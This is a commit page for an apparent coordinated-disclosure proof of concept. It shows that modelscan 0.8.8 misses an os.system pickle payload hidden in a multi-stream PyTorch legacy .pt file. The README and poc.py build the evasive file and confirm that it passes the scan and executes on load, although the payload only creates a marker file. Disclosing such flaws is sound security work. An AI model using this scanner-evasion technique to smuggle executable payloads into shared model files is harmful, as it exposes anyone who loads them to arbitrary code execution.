cmpndry commited on
Commit
4cbb7df
ยท
verified ยท
1 Parent(s): 1ea10ea

Upload 3 files

Browse files
Files changed (3) hide show
  1. README.md +43 -0
  2. evil_legacy.pt +3 -0
  3. poc.py +64 -0
README.md CHANGED
@@ -1,3 +1,46 @@
1
  ---
2
  license: mit
 
 
 
3
  ---
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
  ---
2
  license: mit
3
+ tags:
4
+ - security-poc
5
+ - coordinated-disclosure
6
  ---
7
+
8
+ # PoC: modelscan 0.8.8 multi-pickle legacy scan bypass (scanner evasion)
9
+
10
+ > Coordinated-disclosure proof-of-concept submitted to huntr. The model file in this
11
+ > repository is a **benign test artifact**: its payload only runs `touch MP_legacy_pwn`
12
+ > (creates an empty marker file in the working directory). No network access, no
13
+ > destructive action. Do not load untrusted model files.
14
+
15
+ ## What this demonstrates
16
+ `modelscan` 0.8.8 reports `evil_legacy.pt` as clean ("No issues found! ๐ŸŽ‰", exit 0), yet
17
+ `torch.load("evil_legacy.pt", weights_only=False)` executes the payload. The identical
18
+ `os.system` operator in a single-stream pickle **is** flagged โ€” so this is a scan-coverage
19
+ correctness defect, not a denylist gap.
20
+
21
+ This is a **scanner-evasion** finding (huntr "unique methods to bypass our automated
22
+ scanners"), not a report of pickle deserialization itself. Root cause: `scan_pytorch()`
23
+ (`modelscan/tools/picklescanner.py`) calls `scan_pickle_bytes(..., multiple_pickles=False)`,
24
+ so `_list_globals()` breaks after the first of the file's sequential pickle streams and
25
+ never inspects the model object graph.
26
+
27
+ ## How the PoC model was created
28
+ A well-formed 5-stream PyTorch legacy file: magic number, protocol, sys_info, the
29
+ `os.system` payload object, and an empty storage-keys list (so `torch.load` returns
30
+ without error โ€” a valid file, not malformed). See `poc.py`.
31
+
32
+ ## Files
33
+ - `evil_legacy.pt` โ€” the malicious-but-benign model file (modelscan-clean, executes on load).
34
+ - `poc.py` โ€” self-contained: builds the file, scans it (clean), loads it (executes), and runs a single-stream control (flagged). One command.
35
+
36
+ ## Reproduce
37
+ ```
38
+ pip install "modelscan==0.8.8" torch
39
+ modelscan -p evil_legacy.pt # -> No issues found! ๐ŸŽ‰ (exit 0)
40
+ python -c "import torch; torch.load('evil_legacy.pt', weights_only=False)" # -> creates MP_legacy_pwn
41
+ python poc.py # full differential, prints: RESULT: PASS
42
+ ```
43
+
44
+ ## Affected / fix
45
+ modelscan 0.8.8 (latest at disclosure). Fix: pass `multiple_pickles=True` in the PyTorch
46
+ legacy scan path (`scan_pytorch`), matching the non-legacy behaviour.
evil_legacy.pt ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:8c15a6a902285a1fd34edcfe1d2c8a836634e237e2bcc98fb9d356dafed156a9
3
+ size 106
poc.py ADDED
@@ -0,0 +1,64 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """Self-contained PoC: modelscan 0.8.8 inspects only the first of multiple sequential
3
+ pickle streams in a PyTorch legacy .pt, reporting a malicious file as clean while
4
+ torch.load(weights_only=False) executes the payload.
5
+
6
+ Requires: modelscan==0.8.8, torch. Run: python poc.py
7
+ Payload is a benign marker (touch MP_legacy_pwn); no network, no destructive action.
8
+ """
9
+ import os, sys, pickle, subprocess
10
+
11
+ MAGIC = 0x1950a86a20f9469cfc6c # PyTorch legacy magic number
12
+
13
+
14
+ def build_multi(path):
15
+ # Valid legacy layout torch._legacy_load expects: magic, protocol, sys_info,
16
+ # main object (payload here), then deserialized storage keys (empty -> no
17
+ # trailing storage data). The empty-keys stream makes torch.load() return
18
+ # cleanly WITHOUT EOFError, so this is a well-formed file, not a malformed one.
19
+ class Payload:
20
+ def __reduce__(self):
21
+ return (os.system, ("touch MP_legacy_pwn",))
22
+ streams = [pickle.dumps(MAGIC), pickle.dumps(1001), pickle.dumps({}),
23
+ pickle.dumps(Payload()), pickle.dumps([])]
24
+ with open(path, "wb") as f:
25
+ f.write(b"".join(streams))
26
+
27
+
28
+ def build_single(path):
29
+ class Ctl: # same operator, single stream (control)
30
+ def __reduce__(self):
31
+ return (os.system, ("true",))
32
+ with open(path, "wb") as f:
33
+ f.write(pickle.dumps(Ctl()))
34
+
35
+
36
+ def scan(path):
37
+ r = subprocess.run(["modelscan", "-p", path], capture_output=True, text=True)
38
+ return r.stdout + r.stderr
39
+
40
+
41
+ build_multi("evil_legacy.pt")
42
+ multi_clean = "No issues found" in scan("evil_legacy.pt")
43
+
44
+ if os.path.exists("MP_legacy_pwn"):
45
+ os.remove("MP_legacy_pwn")
46
+ import torch
47
+ load_ok = False
48
+ try:
49
+ torch.load("evil_legacy.pt", weights_only=False)
50
+ load_ok = True # well-formed file: loads without error
51
+ except Exception:
52
+ pass
53
+ executed = os.path.exists("MP_legacy_pwn")
54
+
55
+ build_single("evil_single.pkl")
56
+ single_flagged = "system" in scan("evil_single.pkl").lower()
57
+
58
+ print("multi-stream .pt scan clean :", multi_clean)
59
+ print("torch.load completed cleanly:", load_ok)
60
+ print("loader executed payload :", executed)
61
+ print("single-stream control flagged:", single_flagged)
62
+ ok = multi_clean and load_ok and executed and single_flagged
63
+ print("RESULT:", "PASS - scanner bypass confirmed" if ok else "FAIL")
64
+ sys.exit(0 if ok else 1)